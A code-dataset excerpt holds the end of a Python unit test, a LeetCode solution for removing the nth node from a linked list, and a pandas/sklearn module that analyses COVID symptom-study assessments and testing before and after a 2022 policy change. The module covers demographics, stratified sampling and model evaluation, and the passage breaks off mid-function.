delta=timedelta(seconds=2))\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Clariteia/minos_microservice_networks","sub_path":"tests/test_networks/test_brokers/test_dynamic/test_brokers.py","file_name":"test_brokers.py","file_ext":"py","file_size_in_byte":4611,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"2"} +{"seq_id":"32235526602","text":"#\n# @lc app=leetcode id=19 lang=python3\n#\n# [19] Remove Nth Node From End of List\n#\n\n# @lc code=start\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\nclass Solution:\n def removeNthFromEnd(self, head: Optional[ListNode], n: int) -> Optional[ListNode]:\n h, x = head, 0\n while h:\n x += 1\n h = h.next\n z = x - n + 1\n if z == 1: return head.next\n h = head\n for i in range(1, z-1):\n h = h.next\n h.next = h.next.next\n return head\n\n# @lc code=end\n\n","repo_name":"SuperCooller/leetcode","sub_path":"19.remove-nth-node-from-end-of-list.py","file_name":"19.remove-nth-node-from-end-of-list.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"28432011782","text":"import pandas as pd\nimport datetime as dt\nimport numpy as np\nimport datetime\nimport statistics as stats\nimport matplotlib.pyplot as plt\nimport csv\nimport itertools\nimport seaborn as sns\n\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.model_selection import cross_val_predict\nfrom sklearn.metrics import recall_score\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import ConfusionMatrixDisplay\n\n\n# Remove instances where BMI <10 or >95\ndef exclude_invalid_bmi(df):\n new_df = df\n new_df = new_df[(new_df.bmi >= 10)]\n new_df = new_df[(new_df.bmi < 95)]\n new_df = new_df.reset_index(drop=True)\n return new_df\n\n\n# Convert dates function (for 'date_test' field)\ndef convert_df_dates(dataframe):\n # create new dataframe\n new_df = dataframe\n new_df['date_test'] = dataframe.date_test.replace('0', '2001, 1, 1')\n new_df['date_test'] = pd.to_datetime(new_df.date_test).dt.date\n return new_df\n\n# Convert dates function (for specified series)\ndef convert_df_date_series(dataframe, series: str):\n new_df = dataframe\n # new_df[series] = dataframe[series].replace('0', '2001, 1, 1')\n new_df[series] = pd.to_datetime(new_df[series]).dt.date\n return new_df\n\n# Function for sliding window over a series to check against acceptance criteria\ndef assessment_frequency_criteria(series,\n start_date: datetime,\n end_date: datetime,\n period=7,\n ratio_of_weeks =2/3):\n\n # convert period to datetime delta, calculate periods\n period = datetime.timedelta(days=period)\n total_days = end_date - start_date\n full_periods = ((end_date - start_date) // period)\n last_period = total_days % period\n # set running date\n running_date = start_date\n weekly_totals = []\n # loop over the full periods, calculating assessment total in each window\n for i in range(full_periods):\n window_end = running_date + period\n total_in_window = sum(map(lambda x: x >= running_date and x < window_end, series))\n weekly_totals.append(total_in_window)\n running_date += period\n # add weighted tests for the remainder period\n if last_period.days != 0:\n total_in_last_window = (sum(map(lambda x: x >= (end_date - last_period) and x < end_date, series)))\n # print(end_date - last_period)\n # print('last period score:', total_in_last_window * period.days/last_period.days)\n weekly_totals.append(total_in_last_window * (period.days/last_period.days))\n # count the number of weeks where assessments is 2 or over\n count_over_2 = sum(map(lambda x : x >= 2, weekly_totals))\n # return True if 2 thirds or over periods have 2 assessmensts\n if count_over_2 / len(weekly_totals) >= ratio_of_weeks:\n return True\n else:\n return False\n\n# Return a dataframe of patient ids and acceptance status\ndef return_dataframe_of_accepted_patients(dataframe,\n start_date=datetime.date(2022,1,1),\n end_date=datetime.date(2022,1,12),\n window=7,\n ratio_of_weeks= 2/3):\n # Group dataframe by patients\n grouped = dataframe.groupby('id_patients')\n # Apply the windowing function\n accepted = grouped['created_at_assessments'].apply(lambda x: assessment_frequency_criteria(x, start_date, end_date, window, ratio_of_weeks))\n print('accepted status:', accepted, type(accepted))\n # Create a dataframe with unique patient IDs\n # unique_patients = dataframe['id_patients'].unique()\n # print('uniques', unique_patients, type(unique_patients))\n # Add the accepted column\n\n # accepted_df = pd.DataFrame({'id_patients': pd.DataFrame(unique_patients), 'meets_criteria': pd.DataFrame(accepted)})\n # Liane's way:\n # accepted_df = pd.concat([pd.DataFrame(unique_patients), pd.DataFrame(accepted)], axis=0)\n # accepted_df.columns = ['id_patients', 'meets_criteria']\n\n # Try to merge instead\n accepted = accepted.to_frame()\n print(accepted.columns)\n accepted = accepted.reset_index()\n accepted = accepted.rename(columns={\"\": \"id_patients\", \"created_at_assessments\": 'meets_criteria'})\n # accepted.columns.values[0] = 'id_patients'\n print(accepted.columns)\n\n # Tidy up\n # accepted_df.reset_index(drop=True, inplace=True)\n # print keys\n return accepted\n\n# Print basic summary info for a dataframe\ndef print_summary(dataframe,\n df_name: str,\n start_date=datetime.date(2022, 1, 1),\n ):\n\n unique_patients = dataframe['id_patients'].nunique()\n # unique_assessments = dataframe.groupby('id_patients')['created_at_assessments'].nunique().sum()\n unique_assessments = dataframe.groupby('id_patients')['created_at_assessments'].nunique()\n\n tests_in_period = dataframe[dataframe['date_test'] >= start_date]\n # remove sum\n # total_tests = tests_in_period.groupby('id_patients')['date_test'].nunique().sum\n total_tests = tests_in_period.groupby('id_patients')['date_test'].nunique()\n\n print('Summary for', df_name, ':')\n print('Patients:', unique_patients)\n print('Assessments:', unique_assessments)\n print('Tests:', total_tests)\n\n# Return assessments, tests and patients either side of cutoff date\ndef print_before_after_summary(dataframe,\n start_date= datetime.date(2022,1,1),\n policy_change_date = datetime.date(2022,4,1)):\n\n # Tests while free\n pat_tests_free = dataframe[dataframe['date_test'] < policy_change_date]\n pat_tests_while_free = pat_tests_free[pat_tests_free['date_test'] >= start_date]\n total_tests_while_free = pat_tests_while_free.groupby('id_patients')['date_test'].nunique().sum()\n print('Tests before policy change:', total_tests_while_free)\n\n # Tests after free testing ends\n pat_tests_after_free = dataframe[dataframe['date_test'] >= policy_change_date]\n total_tests_after_free = pat_tests_after_free.groupby('id_patients')['date_test'].nunique().sum()\n print('Tests after policy change:', total_tests_after_free)\n\n # Assessments while free\n assessments_while_free = dataframe[dataframe['created_at_assessments'] < policy_change_date]\n total_assessments_while_free = assessments_while_free.groupby('id_patients')[\n 'created_at_assessments'].nunique().sum()\n print('Assessments before policy change:', total_assessments_while_free)\n\n # Assessments after free testing ends\n assessments_after_free = dataframe[dataframe['created_at_assessments'] >= policy_change_date]\n total_assessments_after_free = assessments_after_free.groupby('id_patients')[\n 'created_at_assessments'].nunique().sum()\n print('Assessments after policy change:', total_assessments_after_free)\n\n patients_assessing_while_free = assessments_while_free['id_patients'].nunique()\n print('Patients providing assessments while free:', patients_assessing_while_free)\n patients_assessing_after_free = assessments_after_free['id_patients'].nunique()\n print('Patients providing assessments after free:', patients_assessing_after_free)\n\ndef return_weekly_average(series,\n start_date: datetime,\n end_date: datetime):\n # Calculate total days and weeks\n total_days = end_date - start_date\n weeks = (total_days.days / 7)\n # Get total tests per patient\n total_tests = len(series)\n # Return mean average\n mean_tests = total_tests / weeks\n # print('days:', total_days, 'weeks', weeks, 'tests', total_tests, 'mean tests', mean_tests)\n return mean_tests\n\n# Function looks at tests per each week in time period, then returns median value\ndef return_weekly_median(series,\n start_date: datetime,\n end_date: datetime,\n period=7):\n\n # convert period to datetime delta, calculate periods\n period = datetime.timedelta(days=period)\n total_days = end_date - start_date\n full_periods = ((end_date - start_date) // period)\n last_period = total_days % period\n # set running date\n running_date = start_date\n weekly_totals = []\n# loop over the full periods, calculating assessment total in each window\n for i in range(full_periods):\n window_end = running_date + period\n total_in_window = sum(map(lambda x: x >= running_date and x < window_end, series))\n weekly_totals.append(total_in_window)\n running_date += period\n # add weighted tests for the remainder period\n if last_period.days != 0:\n total_in_last_window = (sum(map(lambda x: x >= (end_date - last_period) and x < end_date, series)))\n # print(end_date - last_period)\n # print('last period score:', total_in_last_window * period.days/last_period.days)\n weekly_totals.append(total_in_last_window * (period.days/last_period.days))\n\n # print('weekly totals:', weekly_totals)\n median = stats.median(weekly_totals)\n return median\n\ndef get_means_per_patient(dataframe,\n start_date: datetime,\n end_date: datetime):\n # Group dataframe by patients\n grouped = dataframe.groupby('id_patients')\n # Apply the averaging function to get an array of\n weekly_averages = grouped['date_test'].unique().apply(lambda x: return_weekly_average(x, start_date, end_date))\n # Give mean for all patients\n mean_of_all_patients = weekly_averages.mean()\n # Print and return the series, and overall mean\n return weekly_averages, mean_of_all_patients\n\ndef get_medians_per_patient(dataframe,\n start_date: datetime,\n end_date: datetime):\n # Group dataframe by patients\n grouped = dataframe.groupby('id_patients')\n # Apply the averaging function to get an array of\n weekly_medians = grouped['date_test'].unique().apply(lambda x: return_weekly_median(x, start_date, end_date))\n # Give mean for all patients\n median_of_all_patients = weekly_medians.median()\n # Print and return the series, and overall mean\n return weekly_medians, median_of_all_patients\n\n\ndef compare_freq_around_policy_change(dataframe,\n start_date: datetime,\n end_date: datetime,\n policy_change_date: datetime):\n \"\"\"Returns a dataframe of unique patient IDs, with the mean\n number of tests taken before and after a policy change\"\"\"\n # Filter dataframe for tests before policy change\n tests_after_start_date = dataframe[dataframe['date_test'] >= start_date]\n tests_before_change = tests_after_start_date[tests_after_start_date['date_test'] < policy_change_date]\n # Get averages\n before_weekly_averages, before_average = get_means_per_patient(tests_before_change,\n start_date=start_date,\n end_date=policy_change_date)\n\n # Filter dataframe for tests before policy change\n tests_after_policy_change = dataframe[dataframe['date_test'] >= policy_change_date]\n tests_after_change = tests_after_policy_change[tests_after_policy_change['date_test'] < end_date]\n # Get averages\n after_weekly_averages, after_average = get_means_per_patient(tests_after_change,\n start_date=policy_change_date,\n end_date=end_date)\n\n # Create a new dataframe combining before and after averages\n df = pd.DataFrame({'mean_before': before_weekly_averages,\n 'mean_after': after_weekly_averages\n })\n\n # Print summary\n # print('Mean before policy change:', before_average)\n # print('Mean after policy change:', after_average)\n\n return df\n\ndef compare_median_freq_around_policy_change(dataframe,\n start_date: datetime,\n end_date: datetime,\n policy_change_date: datetime):\n\n # Filter dataframe for tests before policy change\n tests_after_start_date = dataframe[dataframe['date_test'] >= start_date]\n tests_before_change = tests_after_start_date[tests_after_start_date['date_test'] < policy_change_date]\n # Get averages\n before_weekly_medians, before_median = get_medians_per_patient(tests_before_change,\n start_date=start_date,\n end_date=policy_change_date)\n\n # Filter dataframe for tests before policy change\n tests_after_policy_change = dataframe[dataframe['date_test'] >= policy_change_date]\n tests_after_change = tests_after_policy_change[tests_after_policy_change['date_test'] < end_date]\n # Get averages\n after_weekly_medians, after_median = get_medians_per_patient(tests_after_change,\n start_date=policy_change_date,\n end_date=end_date)\n\n # Create a new dataframe combining before and after averages\n df = pd.DataFrame({'median_before': before_weekly_medians,\n 'median_after': after_weekly_medians\n })\n\n # Print summary\n # print('Median before policy change:', before_median)\n # print('Median after policy change:', after_median)\n\n return df\n\ndef return_df_assessments_tests_daily(dataframe):\n \"\"\"Function to take a dataframe and return a new one\n which gives the total number of unique assessments and tests\n for every day\"\"\"\n\n # Get all assessments by day\n # Group unique assessments per patient\n unique_assessments = dataframe.groupby('id_patients')['created_at_assessments'].unique()\n # Convert to dataframe\n unique_assessments = pd.DataFrame(unique_assessments)\n # Create dataframe with one assessment per line\n b = unique_assessments.explode('created_at_assessments')\n # Count assessments per date\n c = b['created_at_assessments'].value_counts()\n # Convert to dataframe and reset index, colmn names\n c = pd.DataFrame(c)\n d = c.reset_index()\n e = d.rename(columns={\"index\": \"date\"})\n # Sort by date\n total_assessments_by_date = e.sort_values(by='date')\n\n\n # Get all tests by day\n # Group unique tests per patient\n unique_tests = dataframe.groupby('id_patients')['date_test'].unique()\n # Convert to dataframe\n unique_tests = pd.DataFrame(unique_tests)\n # Create dataframe with one assessment per line\n g = unique_tests.explode('date_test')\n # Count assessments per date\n h = g['date_test'].value_counts()\n # Convert to dataframe and reset index, column names\n i = pd.DataFrame(h)\n j = i.reset_index()\n k = j.rename(columns={\"index\": \"date\"})\n # Sort by date\n total_tests_by_date = k.sort_values(by='date')\n\n # Merge the dataframes\n new_df = total_assessments_by_date.merge(total_tests_by_date, how='inner', on='date')\n new_df['ratio'] = new_df['date_test'] / new_df['created_at_assessments']\n\n return new_df\n\ndef plot_daily_assess_tests(dataframe, country=\"Country Name\"):\n \"\"\" Return a plot of assessments and tests over time\"\"\"\n\n # define colors to use\n col1 = 'steelblue'\n col2 = 'red'\n # define subplots\n fig, ax = plt.subplots()\n # add first line to plot\n ax.plot(dataframe.date, dataframe.created_at_assessments, color=col1, linewidth=2, label='Assessments')\n # add x-axis label\n ax.set_xlabel('Date', fontsize=12)\n # add y-axis label\n ax.set_ylabel('Assessments', fontsize=12)\n # ax.axis([datetime.date(2022,2,1), datetime.date(2022,5,22), 0, 200000])\n plt.legend(['Assessments'], loc=\"lower left\")\n # define second y-axis that shares x-axis with current plot\n ax2 = ax.twinx()\n # add second line to plot\n ax2.plot(dataframe.date, dataframe.date_test, color=col2, linewidth=2, label='Tests')\n # add second y-axis label\n ax2.set_ylabel('Tests', fontsize=12)\n # Add title\n plt.title('CSS assessments & tests around policy change in {}'.format(country), fontsize=14)\n plt.axvline(x=datetime.date(2022,4,1), color='g', label='Policy change')\n ax.tick_params(axis='x', labelrotation=30)\n plt.subplots_adjust(bottom=0.4)\n plt.legend(['Tests'], loc=\"upper right\")\n ax2.axis([datetime.date(2022,2,1), datetime.date(2022,5,22), 0, 4000])\n plt.tight_layout()\n\n return fig\n\ndef plot_pos_test_ratio(dataframe):\n \"\"\"Function to plot a graph comparing the ratio of\n tests to assessments between the different countries\"\"\"\n\n # define colors to use\n col1 = 'steelblue'\n col2 = 'red'\n # define subplots\n fig, ax = plt.subplots()\n # add first line to plot\n ax.plot(dataframe.day, dataframe.ratio, color=col1, linewidth=2, label='Ratio of positive tests')\n # add x-axis label\n ax.set_xlabel('Date', fontsize=12)\n # add y-axis label\n ax.set_ylabel('Assessments', fontsize=12)\n # ax.axis([datetime.date(2022,2,1), datetime.date(2022,5,22), 0, 200000])\n plt.legend(['Assessments'], loc=\"lower left\")\n # Add title\n plt.title('Ratio of positive tests recorded via CSS', fontsize=14)\n plt.axvline(x=datetime.date(2022, 4, 1), color='g', label='Policy change')\n ax.tick_params(axis='x', labelrotation=30)\n plt.subplots_adjust(bottom=0.4)\n plt.legend(['Ratio of positive tests'], loc=\"upper right\")\n plt.tight_layout()\n\n return fig\n\n\ndef age_distribution(dataframe):\n\n new_df = dataframe\n new_df['age_2022_start'] = 2021 - dataframe['year_of_birth']\n new_df['age_category'] = new_df['age_2022_start'].apply(lambda x: categorise_age(x))\n counts = new_df.groupby('id_patients')['age_category'].unique()\n counts = pd.DataFrame(counts)\n counts = counts['age_category'].value_counts()\n counts = counts.reset_index()\n counts_df = counts.rename(columns={\"index\": \"age_2022_start\", \"age_category\": \"total\"})\n\n return counts_df\n\ndef demographic_info(dataframe):\n #start_date: datetime,\n #end_date: datetime):\n # age distribution\n new_df = dataframe\n new_df['age_2022_start'] = 2021 - dataframe['year_of_birth']\n counts = new_df.groupby('id_patients')['age_2022_start'].unique()\n counts = pd.DataFrame(counts)\n counts = counts['age_2022_start'].value_counts()\n counts = counts.reset_index()\n counts_df = counts.rename(columns={\"index\": \"age\", \"age_2022_start\": \"total\"})\n counts_df['age'] = counts_df['age'].apply(lambda x: x[0])\n\n # does chemotherapy\n new_df_1 = dataframe\n chemo = new_df_1.groupby('id_patients')['does_chemotherapy'].unique()\n chemo = pd.DataFrame(chemo)\n chemo = chemo['does_chemotherapy'].value_counts()\n chemo = chemo.reset_index()\n chemo_df = chemo.rename(columns={\"index\": \"chemotherapy_status\", \"does_chemotherapy\": \"total\"})\n # chemo_df = chemo_df['chemotherapy_status'].replace({'[0]': \"not provided\"})\n\n # % healthcare workers\n new_df_2 = dataframe\n contact = new_df_2.groupby('id_patients')['contact_health_worker'].unique()\n contact = pd.DataFrame(contact)\n contact = contact['contact_health_worker'].value_counts()\n contact = contact.reset_index()\n contact_df = contact.rename(columns={\"index\": \"contact_worker_status\", \"contact_health_worker\": \"total\"})\n # contact_df = \"Needs updated data\"\n\n # asthmatics\n new_df_3 = dataframe\n asthmatics = new_df_3.groupby('id_patients')['has_asthma'].unique()\n asthmatics = pd.DataFrame(asthmatics)\n asthmatics = asthmatics['has_asthma'].value_counts()\n asthmatics = asthmatics.reset_index()\n asthmatics_df = asthmatics.rename(columns={\"index\": \"asthma_status\", \"has_asthma\": \"total\"})\n\n # cancer\n new_df_6 = dataframe\n cancer = new_df_6.groupby('id_patients')['has_cancer'].unique()\n cancer = pd.DataFrame(cancer)\n cancer = cancer['has_cancer'].value_counts()\n cancer = cancer.reset_index()\n cancer_df = cancer.rename(columns={\"index\": \"cancer_status\", \"has_cancer\": \"total\"})\n\n # BMI status\n new_df_4 = dataframe\n bmi = new_df_4.groupby('id_patients')['bmi'].unique()\n bmi = pd.DataFrame(bmi)\n bmi = bmi['bmi'].value_counts(bins=[0, 18.5, 24.999999, 29.999999, 50])\n bmi = bmi.reset_index()\n bmi_df = bmi.rename(columns={\"index\": \"bmi range\", \"bmi\": \"total\"})\n\n # gender\n new_df_5 = dataframe\n gender = new_df_5.groupby('id_patients')['gender'].unique()\n gender = pd.DataFrame(gender)\n gender = gender['gender'].value_counts()\n gender = gender.reset_index()\n gender_df = gender.rename(columns={\"index\": \"gender_values\", \"gender\": \"total\"})\n\n # heart disease\n new_df_7 = dataframe\n hd = new_df_7.groupby('id_patients')['has_heart_disease'].unique()\n hd = pd.DataFrame(hd)\n hd = hd['has_heart_disease'].value_counts()\n hd = hd.reset_index()\n hd_df = hd.rename(columns={\"index\": \"heart_disease_values\", 'has_heart_disease': \"total\"})\n\n # lung disease\n new_df_8 = dataframe\n ld = new_df_8.groupby('id_patients')['has_lung_disease'].unique()\n ld = pd.DataFrame(ld)\n ld = ld['has_lung_disease'].value_counts()\n ld = ld.reset_index()\n ld_df = ld.rename(columns={\"index\": \"lung_disease_values\", 'has_lung_disease': \"total\"})\n\n\n return counts_df, chemo_df, contact_df, asthmatics_df, bmi_df, gender_df, cancer_df, hd_df, ld_df\n\n\ndef lower_stable_higher(x):\n \"\"\" Returns value corresponding to whether tests after was higher than\n testing before: 0 lower, 1 same, 2 higher\"\"\"\n\n if x < 0:\n return 0\n elif x == 0:\n return 1\n else:\n return 2\n\n\ndef compare_tests_around_policy_change(dataframe,\n start_date: datetime,\n end_date: datetime,\n policy_change_date: datetime):\n \"\"\"Returns a dataframe of unique patient IDs, with the ratio\n of tests taken after a policy change compared to before\"\"\"\n\n # Filter dataframe for tests before policy change\n tests_after_start_date = dataframe[dataframe['date_test'] >= start_date]\n tests_before_change = tests_after_start_date[tests_after_start_date['date_test'] < policy_change_date]\n # Get total tests\n # Group dataframe by patients\n unique_tests_before = tests_before_change.groupby('id_patients')['date_test'].unique().apply(lambda x: len(x))\n unique_tests_before = pd.DataFrame(unique_tests_before)\n\n # Filter dataframe for tests after policy change\n tests_after_policy_change = dataframe[dataframe['date_test'] >= policy_change_date]\n tests_after_change = tests_after_policy_change[tests_after_policy_change['date_test'] <= end_date]\n # Get total tests\n unique_tests_after = tests_after_change.groupby('id_patients')['date_test'].unique().apply(lambda x: len(x))\n unique_tests_after = pd.DataFrame(unique_tests_after)\n\n # Merge dataframes to give per patient totals\n df = unique_tests_before.merge(unique_tests_after, how='outer', on=\"id_patients\")\n\n # Tidy up\n df = df.fillna(0)\n df = df.reset_index()\n df = df.rename(columns={\"date_test_x\": \"total_before_policy_change\", \"date_test_y\": \"total_after_policy_change\"})\n df['after_minus_before'] = df['total_after_policy_change'] - df['total_before_policy_change']\n df['lower_stable_higher'] = df['after_minus_before'].apply(lambda x: lower_stable_higher(x))\n df = df.drop(columns=['after_minus_before'])\n\n return df\n\ndef give_country_code(x):\n y = x[2:-1]\n z = y[0]\n if z == 'W':\n return 2\n elif z == 'S':\n return 1\n elif z == 'E':\n return 0\n elif z == '9':\n return 3\n else:\n return 4\n\ndef return_bmi_category(x):\n if x < 18.5:\n return 0\n elif 18.5 <= x < 25:\n return 1\n if 25 <= x < 30:\n return 2\n else:\n return 3\n\ndef add_bmi_catgory_column(dataframe):\n new_df = dataframe\n new_df['bmi_category'] = dataframe['bmi'].apply(lambda x: return_bmi_category(x))\n return new_df\n\ndef convert_boolean(x):\n if x == False:\n return int(0)\n elif x == True:\n return int(1)\n\ndef convert_nan_to_zero(x):\n if x == '[nan]':\n return int(0)\n elif x == '[NaN]':\n return int(0)\n\ndef features_dataframe(dataframe):\n \"\"\"Will take a dataframe and extract values for each patient to feed into\n a model\"\"\"\n\n # Convert district codes to country\n # Retrieve unique patient IDs and country codes\n location = dataframe.groupby('id_patients')['lsoa11cd_x'].unique()\n location = pd.DataFrame(location)\n location['country'] = location['lsoa11cd_x'].apply(lambda x: give_country_code(x[0]))\n location = location.reset_index()\n location = location.drop(columns=['lsoa11cd_x'])\n\n # Add age for the patients\n age = dataframe.groupby('id_patients')['year_of_birth'].unique()\n age = pd.DataFrame(age)\n age['age_2022_start'] = 2021 - age['year_of_birth']\n age = age.reset_index()\n age['age'] = age['age_2022_start'].apply(lambda x: x[0])\n age = age.drop(columns=['year_of_birth', 'age_2022_start'])\n df = location.merge(age, how=\"inner\", on='id_patients')\n\n # Add contact worker status\n health_worker = dataframe.groupby('id_patients')['contact_health_worker'].unique()\n health_worker = pd.DataFrame(health_worker)\n health_worker['health_worker_status'] = health_worker['contact_health_worker'].apply(lambda x: convert_boolean(x))\n health_worker['health_worker_status_updated'] = health_worker.health_worker_status.replace('nan', 0)\n\n # health_worker['health_worker_status'] = health_worker['contact_health_worker'].apply(lambda x: convert_nan_to_zero(x))\n health_worker = health_worker.reset_index()\n health_worker = health_worker.drop(columns=['contact_health_worker'])\n df = df.merge(health_worker, how=\"inner\", on='id_patients')\n\n # Add gender\n gender = dataframe.groupby('id_patients')['gender'].unique()\n gender = pd.DataFrame(gender)\n gender = gender.reset_index()\n gender['gender'] = gender['gender'].apply(lambda x: x[0] - 1) # -1 moves from CSS coding... so that female:0, male:1\n df = df.merge(gender, how=\"inner\", on='id_patients')\n # Remove patients with gender: \"not set, intersex, prefer not to say\"\n genders_to_exclude = [-1, 2, 3]\n df = df[df.gender.isin(genders_to_exclude) == False]\n\n # Add BMI\n bmi = dataframe.groupby('id_patients')['bmi'].unique()\n bmi = pd.DataFrame(bmi)\n bmi = bmi.reset_index()\n bmi['bmi_range'] = bmi['bmi'].apply(lambda x: return_bmi_category(x[0]))\n bmi = bmi.drop(columns=['bmi'])\n df = df.merge(bmi, how=\"inner\", on='id_patients')\n\n # Add preconditions\n preconditions = dataframe[\n ['id_patients', 'has_cancer', 'has_asthma', 'does_chemotherapy', 'has_heart_disease', 'has_lung_disease']]\n\n conditions = [preconditions.has_cancer == 2,\n preconditions.has_asthma == 2,\n preconditions.does_chemotherapy == 2,\n preconditions.has_heart_disease == 2,\n preconditions.has_lung_disease == 2]\n\n value = [1, 1, 1, 1, 1]\n\n preconditions['has_preconditions'] = np.select(conditions, value)\n preconditions_sum = pd.merge(df, preconditions[['id_patients', 'has_preconditions']], on='id_patients', how='left')\n preconditions_sum = preconditions_sum.groupby('id_patients')['has_preconditions'].unique()\n preconditions_sum = preconditions_sum.reset_index()\n preconditions_sum['preconditions_status'] = preconditions_sum['has_preconditions'].apply(\n lambda x: 1 if max(x) > 0 else 0)\n preconditions_sum = preconditions_sum.drop(columns='has_preconditions')\n\n df = df.merge(preconditions_sum, how=\"inner\", on='id_patients')\n print(df)\n\n return df\n\ndef EvaluatePerformance(model, X, y, modeltitle:str, matrix_title='Confusion matrix'):\n \"A function to evaluate the performance of a model on the training data, taking the model,\"\n \"and a title for the model as arguments, and printing cross validated accuracy\"\n \"sensitivity, specificity and mean recall\"\n\n print('{} performance'.format(modeltitle))\n\n y_pred = model.predict(X)\n\n accuracy = accuracy_score(y,y_pred)\n print('accuracy: ', round(accuracy, 2))\n\n sensitivity = recall_score(y, y_pred, pos_label=1)\n print('Sensitivity: ', round(sensitivity, 2))\n\n specificity = recall_score(y, y_pred, pos_label=0)\n print('Specificity: ', round(specificity, 2))\n\n mean_recall = recall_score(y, y_pred, average='macro')\n print('Mean recall: ', round(mean_recall, 2))\n\n matrix = confusion_matrix(y, y_pred, normalize='true')\n display_matrix = ConfusionMatrixDisplay(confusion_matrix=matrix,\n display_labels=model.classes_,\n )\n display_matrix.plot()\n plt.title(matrix_title)\n plt.show()\n\ndef EvaluatePerformanceCV(model, X, y, modeltitle:str, matrix_title='Confusion matrix'):\n \"A function to evaluate the performance of a model on the training data, taking the model,\"\n \"and a title for the model as arguments, and printing cross validated accuracy\"\n \"sensitivity, specificity and mean recall\"\n\n print('{} performance'.format(modeltitle) + ' with cross validation')\n\n y_pred = cross_val_predict(model, X, y)\n\n accuracy = accuracy_score(y,y_pred)\n print('accuracy: ', round(accuracy, 2))\n\n sensitivity = recall_score(y, y_pred, pos_label=1)\n print('Sensitivity: ', round(sensitivity, 2))\n\n specificity = recall_score(y, y_pred, pos_label=0)\n print('Specificity: ', round(specificity, 2))\n\n mean_recall = recall_score(y, y_pred, average='macro')\n print('Mean recall: ', round(mean_recall, 2))\n\n matrix = confusion_matrix(y, y_pred, normalize='true')\n display_matrix = ConfusionMatrixDisplay(confusion_matrix=matrix,\n display_labels=model.classes_)\n display_matrix.plot()\n plt.title(matrix_title)\n plt.show()\n\n\ndef write_df_to_csv(dataframe, filename:str):\n columns = dataframe.columns\n values = dataframe.values\n\n with open(filename, 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(columns)\n writer.writerows(values)\n\ndef stratified_sample_requirements(dataframe, train_percentage=80, test_percentage=20):\n \"\"\"Given a dataframe, and a specified split for the test and train folds,\n prints the ideal number of patiens of each category to be sampled in a test\n populatio\"\"\"\n\n dataframe_columns = dataframe.keys()\n for column in dataframe_columns:\n print(column)\n x = dataframe['{}'.format(column)].value_counts()\n y = dataframe['{}'.format(column)].value_counts() // ((train_percentage + test_percentage) / (test_percentage))\n print('Total:', x)\n print('20%:', y)\n\ndef categorise_age(x):\n \"\"\"Places a given age (in years) into predefined categories and returns\n category value\"\"\"\n if x < 25:\n return 0\n elif 25 <= x < 40:\n return 1\n elif 40 <= x < 55:\n return 2\n elif 55 <= x < 70:\n return 3\n else:\n return 4\n\ndef stratify_ages(dataframe, key='age'):\n \"\"\"Returns a dataframe with an added column containing age stratification\"\"\"\n dataframe['age_category'] = dataframe[key].apply(lambda x: categorise_age(x))\n return dataframe\n\n\ndef return_acceptable_range(desired_total: int,\n min_threshold=0.99,\n max_threshold=1.01):\n \"\"\"For an ideal number of patients in a test population, this function\n returns an acceptable range, within specified min and max thresholds\"\"\"\n\n min = int(desired_total * min_threshold)\n max = int(desired_total * max_threshold)\n return range(min, max)\n\ndef check_in_range(desired, range):\n \"\"\"Checks whether a value is in a range and returns boolean\"\"\"\n if desired in range:\n return True\n else:\n return False\n\ndef create_stratified_test_sample(dataframe,\n required_ages: dict,\n required_genders: dict,\n required_hw: dict,\n required_precs: dict,\n required_bmi: dict,\n required_target: dict,\n name_suffix='1'\n ):\n\n # Create the subpopulations\n age_0 = dataframe[(dataframe.age_category == 0)]\n age_1 = dataframe[(dataframe.age_category == 1)]\n age_2 = dataframe[(dataframe.age_category == 2)]\n age_3 = dataframe[(dataframe.age_category == 3)]\n age_4 = dataframe[(dataframe.age_category == 4)]\n\n # Create the test sample for each category & concatenate\n age_0_test = age_0.sample(required_ages[0], replace=False)\n age_1_test = age_1.sample(required_ages[1], replace=False)\n age_2_test = age_2.sample(required_ages[2], replace=False)\n age_3_test = age_3.sample(required_ages[3], replace=False)\n age_4_test = age_4.sample(required_ages[4], replace=False)\n\n test_sample = pd.concat([pd.DataFrame(age_0_test),\n pd.DataFrame(age_1_test),\n pd.DataFrame(age_2_test),\n pd.DataFrame(age_3_test),\n pd.DataFrame(age_4_test),\n ], axis=0)\n\n print(test_sample.head(20))\n test_sample = pd.DataFrame(test_sample)\n print(type(test_sample))\n\n # get acceptable ranges\n gender_range = return_acceptable_range(required_genders[0])\n contact_hw_range = return_acceptable_range(required_hw[0])\n precs_range = return_acceptable_range(required_precs[0])\n underweight_range = return_acceptable_range(required_bmi[0])\n healthy_range = return_acceptable_range(required_bmi[1])\n overweight_range = return_acceptable_range(required_bmi[2])\n target_range = return_acceptable_range(required_target[0])\n\n # get values in test sample\n gender_totals_in_test = test_sample['gender'].value_counts()\n print('gender totals')\n print(gender_totals_in_test)\n females_in_test = gender_totals_in_test[0]\n\n contact_hw_in_test = test_sample['health_worker_status'].value_counts()\n print('contact totals')\n print(contact_hw_in_test)\n non_hw_in_test = contact_hw_in_test[0]\n\n preconditions_in_test = test_sample['preconditions_status'].value_counts()\n print('preconditions')\n print(preconditions_in_test)\n no_precs_in_test = preconditions_in_test[0]\n\n bmi_in_test = test_sample['bmi_range'].value_counts()\n print('bmi')\n print(bmi_in_test)\n underweight_in_test = bmi_in_test[0]\n healthy_in_test = bmi_in_test[1]\n overweight_in_test = bmi_in_test[2]\n\n target_in_test = test_sample['lower_higher'].value_counts()\n print('target')\n print(target_in_test)\n lower_in_test = target_in_test[0]\n\n # check values in the sample are in acceptable ranges\n gender = check_in_range(females_in_test, gender_range)\n contact_hw = check_in_range(non_hw_in_test, contact_hw_range)\n preconditions = check_in_range(no_precs_in_test, precs_range)\n underweight = check_in_range(underweight_in_test, underweight_range)\n healthy = check_in_range(healthy_in_test, healthy_range)\n overweight = check_in_range(overweight_in_test, overweight_range)\n target = check_in_range(lower_in_test, target_range)\n print(gender, contact_hw, preconditions, underweight, healthy, overweight, target)\n\n if gender and contact_hw and preconditions and underweight and healthy and overweight and target == 